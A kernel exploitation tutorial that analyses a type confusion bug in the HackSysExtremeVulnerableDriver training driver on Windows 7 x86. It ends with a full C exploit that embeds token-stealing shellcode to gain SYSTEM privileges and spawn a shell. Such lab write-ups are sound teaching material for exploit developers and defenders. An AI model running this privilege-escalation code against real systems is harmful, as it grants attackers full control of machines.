In the last tutorial we exploited a “Write-What-Where” vulnerability within Windows 7 (x86) and Windows 11 (x64).

As with previous tutorials we will begin exploiting a new flaw against the Windows 7 (x86) kernel to get a solid foundation on how the vulnerability occurs. More specifically we will be learning about Type Confusions!

Table of Contents

What is a Type Confusion (High Level)

Not familiar with what a Type Confusion is? No problem! Let’s start with a quick high-level overview.

To use a non-technical example let’s look at a Dark Souls hypothetical. In the image below we see Siegmeyer of Catarina sitting outside the entrance to Sen’s Fortress.

alt text

If we zoom in, we can see that behind Siegmeyer there is an Estus Flask which operates like any flask, however in the Dark Souls universe it is used to replenish health.

alt text

Within Sen’s Fortress are enemies known as “Man-Serpent soldiers”, these enemies can be seen below. Being these are snakes, perhaps they also harbor venom.

alt text

Being that an Estus Flask holds a liquid, hypothetically one could swap out the liquid used to replenish health with something else or worst tamper it?

Since Siegmeyer is currently absorbed in thought, if we opened the gate and he didn’t snap out of it, hypothetically a serpent could drink a sip of Estus and replace the amount they drank with poison! If Siegmeyer didn’t notice he’s finished!

This attack by the serpent is very similiar to that of a Type Confusion. A Type Confusion occurs when a program incorrectly assumes that an object or variable is of one type when it’s actually another. This kind of mismatch can lead to unintended behavior.

We can map this to our example:

  1. The program (Siegmeyer) expects a specific type (health potion) based on the object (Estus Flask).
  2. An attacker (the serpent) changes the underlying data to a different type (poison) without the program realizing.
  3. The program (Siegmeyer) uses the object and it leads to catastrophic consequences.

In technical terms this happens when programming language variable types are cast improperly, for example in C++ unsafe typecasting or JavaScript with loose typing. Attackers can then leverage these vulnerabilities to acheive memory corruption or even code execution.

With the high-level overview complete, let’s look at some code!

Using the Source

Let’s begin the search by identifying the appropriate files.

$ ls -l | grep Type  
-rw-r--r-- 1 wetw0rk wetw0rk  7736 Oct 24 22:20 TypeConfusion.c
-rw-r--r-- 1 wetw0rk wetw0rk  2954 Oct 24 22:20 TypeConfusion.h

Looking at the source, we’re gonna be dealing with the following functions.

TypeConfusionIoctlHandler()
  TriggerTypeConfusion()
    TypeConfusionObjectInitializer()
      TypeConfusionObjectCallback()

Let’s take it from the top!

TypeConfusionIoctlHandler

TypeConfusionIoctlHandler is the function that will get called when sending the IOCTL code. As with previous challenges, we’re getting our input casted into an object / structure. In this case PUSER_TYPE_CONFUSION_OBJECT.

218 NTSTATUS
219 TypeConfusionIoctlHandler(
220     _In_ PIRP Irp,
221     _In_ PIO_STACK_LOCATION IrpSp
222 )
223 {
224     NTSTATUS Status = STATUS_UNSUCCESSFUL;
225     PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = NULL;
226 
227     UNREFERENCED_PARAMETER(Irp);
228     PAGED_CODE();
229 
230     UserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
231 
232     if (UserTypeConfusionObject)
233     {
234         Status = TriggerTypeConfusion(UserTypeConfusionObject);
235     }
236 
237     return Status;
238 }

Let’s take a look at the structure PUSER_TYPE_CONFUSION_OBJECT within TypeConfusion.h.

Looking at the source code file, we can also see another structure defined, this structure being _KERNEL_TYPE_CONFUSION_OBJECT.

 62 typedef struct _USER_TYPE_CONFUSION_OBJECT
 63 {
 64     ULONG_PTR ObjectID;
 65     ULONG_PTR ObjectType;
 66 } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
 67 
 68 #pragma warning(push)
 69 #pragma warning(disable : 4201)
 70 typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
 71 {
 72     ULONG_PTR ObjectID;
 73     union
 74     {
 75         ULONG_PTR ObjectType;
 76         FunctionPointer Callback;
 77     };
 78 } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
 79 #pragma warning(pop)

If you’re familiar with C this is nothing too complicated. We see two unsigned long pointers when using the USER_TYPE_CONFUSION_OBJECT structure.

As for the _KERNEL_TYPE_CONFUSION_OBJECT structure we see a unsigned long pointer, and a union. Within the union we see an unsigned long pointer, and a function pointer.

From an exploit development perspective this would be an ideal target, as FunctionPointer is a function pointer… as the name implies.

This can further be seen in Common.h.

 70 typedef void(*FunctionPointer)();

TriggerTypeConfusion

TriggerTypeConfusion is where PUSER_TYPE_CONFUSION_OBJECT get’s passed, this function can be seen below.

105 NTSTATUS
106 TriggerTypeConfusion(
107     _In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
108 )
109 {
110     NTSTATUS Status = STATUS_UNSUCCESSFUL;
111     PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;
112 
113     PAGED_CODE();
114 
115     __try
116     {
117         //
118         // Verify if the buffer resides in user mode
119         //
120 
121         ProbeForRead(
122             UserTypeConfusionObject,
123             sizeof(USER_TYPE_CONFUSION_OBJECT),
124             (ULONG)__alignof(UCHAR)
125         );
126 
127         //
128         // Allocate Pool chunk
129         //
130 
131         KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132             NonPagedPool,
133             sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134             (ULONG)POOL_TAG
135         );
136 
137         if (!KernelTypeConfusionObject)
138         {   
139             //
140             // Unable to allocate Pool chunk
141             //
142             
143             DbgPrint("[-] Unable to allocate Pool chunk\n");
144             
145             Status = STATUS_NO_MEMORY;
146             return Status;
147         }
148         else
149         {   
150             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
151             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
152             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
153             DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
154         }
154         }
155 
156         DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
157         DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
158         DbgPrint("[+] KernelTypeConfusionObject Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
159 
160         KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161         KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
162 
163         DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
164         DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);
165 
166 
167 #ifdef SECURE
168         //
169         // Secure Note: This is secure because the developer is properly setting 'Callback'
170         // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
171         // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
172         // parameter
173         //
174 
175         KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
176         Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
177 #else
178         DbgPrint("[+] Triggering Type Confusion\n");
179 
180         //
181         // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
182         // use of the 'UNION' construct. The developer has not set the 'Callback' member of
183         // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
184         // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
185         // parameter
186         //
187 
188         Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
189 #endif
190 
191         DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192         DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193         DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194 
195         //
196         // Free the allocated Pool chunk
197         //
198 
199         ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200         KernelTypeConfusionObject = NULL;
201     }
202     __except (EXCEPTION_EXECUTE_HANDLER)
203     {
204         Status = GetExceptionCode();
205         DbgPrint("[-] Exception Code: 0x%X\n", Status);
206     }
206     }
207 
208     return Status;
209 }

As with all large functions, let’s break this down. First, we allocate a PKERNEL_TYPE_CONFUSION_OBJECT object in the NonPagedPool.

131         KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132             NonPagedPool,
133             sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134             (ULONG)POOL_TAG
135         );

From there assuming everything went well, the driver assigns the ObjectID, and ObjectType members to the KernelTypeConfusionObject structure we allocated using our input.

160         KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161         KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;

We then call TypeConfusionObjectInitializer using this object as it’s only parameter.

188         Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

We’ll skip looking into this function for now, however the returned type is that of NTSTATUS.

Finishing off this code analysis, we can see that the allocated object get’s free’d then NULL’d out.

191         DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192         DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193         DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194 
195         //
196         // Free the allocated Pool chunk
197         //
198 
199         ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200         KernelTypeConfusionObject = NULL;
201     }
202     __except (EXCEPTION_EXECUTE_HANDLER)
203     {
204         Status = GetExceptionCode();
205         DbgPrint("[-] Exception Code: 0x%X\n", Status);
206     }
207 
208     return Status;
209 }

The main thing to note about this function is that the Callback member is never set. We may be able to use this to our advantage…

TypeConfusionObjectInitializer

To recap the PKERNEL_TYPE_CONFUSION_OBJECT gets passed into the TypeConfusionObjectInitializer function from the TriggerTypeConfusion function.

We can see the source for TypeConfusionObjectInitializer below.

 80 NTSTATUS
 81 TypeConfusionObjectInitializer(
 82     _In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
 83 )   
 84 {   
 85     NTSTATUS Status = STATUS_SUCCESS;
 86     
 87     PAGED_CODE();
 88     
 89     DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
 90     DbgPrint("[+] Calling Callback\n");
 91     
 92     KernelTypeConfusionObject->Callback();
 93     
 94     DbgPrint("[+] Kernel Type Confusion Object Initialized\n");
 95     
 96     return Status;
 97 }

Intresting… it looks like we just call the Callback() member… I wonder if when we write to the KernelTypeConfusionObject we could overwrite or rather assign the adjacent memory some of our buffer?

Dynamic Testing

At this point I felt I had a solid understanding of how this function works, so I decided to start messing with it and observing behavior.

With that I had the following PoC.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)

typedef struct _USER_TYPE_CONFUSION_OBJECT
{
  ULONG_PTR ObjectID;
  ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

int Exploit(HANDLE hHEVD)
{
  USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
  ULONG oId = 0x41414141;
  ULONG oType = 0x42424242;
  DWORD dwBytesReturned = 0;

  UserTypeConfusionObject.ObjectType = oType;
  UserTypeConfusionObject.ObjectID = oId;

  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_TYPE_CONFUSION,
                  &UserTypeConfusionObject,
                  sizeof(UserTypeConfusionObject),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return 0;
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  Exploit(hHEVD);

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Let’s set a breakpoint right when we call the TypeConfusionInitializer function to see what is passed into the function.

alt text

Once hit we can see that the pointer to our object (stored at the top of the stack) contains a buffer of 16 bytes. That’s approximately 8 more bytes than expected.

alt text

If we look at this from the perspective of the structure itself it should only be 8 bytes.

$ gcc struct_size.c -m32
$ ./a.out
Sizeof USER_TYPE_CONFUSION_OBJECT   : 8
Sizeof KERNEL_TYPE_CONFUSION_OBJECT : 8

But wait shouldn’t the KERNEL_TYPE_CONFUSION_OBJECT be 12 bytes “(sizeof(ULONG_PTR) + sizeof(ULONG_PTR) + sizeof(FunctionPointer))”?

After some googling it appears that the size of a union is determined by the size of its largest member.

So, this allocation is 8 bytes??

KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
    NonPagedPool,
    sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
    (ULONG)POOL_TAG
);

Let’s re-run it, this time breaking at the call to ExAllocatePoolWithTag.

Intresting… as expected it’s 8 bytes…

alt text

Now let’s see what’s passed into TypeConfusionObjectInitializer.

alt text

This time we don’t see more than expected data, but we can see that the Callback is an invalid address.

If we continue to step we eventually get to the Callback function call. Once there, we can see that we’re actually calling an invalid address.

More specifically our input.

alt text

If we step once more, we can see we successfully trigger a crash.

alt text

However, the kernel did not crash! If you continue execution, you’ll notice Windows continues normal behavior. This is really important to know from a exploit development perspective - not all vulnerabilities will trigger a BSOD!

So how did this happen? Since the Union is 4 bytes total and never initialized the ObjectType takes the place of the Callback pointer.

Pretty cool!

Exploitation

Since this is Windows 7 (x86) and we don’t have to worry about modern memory protections, exploitation is as simple as calling our shellcode in userland.

The PoC can be seen below:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)

/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
  ULONG_PTR ObjectID;
  ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* Exploit():
     Type Confusion */
int Exploit(HANDLE hHEVD)
{
  USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
  DWORD dwBytesReturned = 0;
  LPVOID lpvMemoryAllocation = NULL;

  char shellcode[]=

  /* sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint */
  "\x60"                         // pushal
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  /* Return to Userland */
  "\xc3";                        // ret

  lpvMemoryAllocation = VirtualAlloc(NULL,
                                     53,
                                     (MEM_COMMIT | MEM_RESERVE),
                                     PAGE_EXECUTE_READWRITE);
  if (lpvMemoryAllocation == NULL)
  {
    printf("[*] Failed to allocate memory for shellcode\n");
  }

  printf("[*] Allocated memory for shellcode, shellocode @{0x%p}\n", lpvMemoryAllocation);
  memcpy(lpvMemoryAllocation, shellcode, 53);

  UserTypeConfusionObject.ObjectType = (ULONG)lpvMemoryAllocation;
  UserTypeConfusionObject.ObjectID = 0x41414141;

  printf("[*] Triggering type confusion\n");
  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_TYPE_CONFUSION,
                  &UserTypeConfusionObject,
                  sizeof(UserTypeConfusionObject),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy de shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Once sent, we get code execution :)

alt text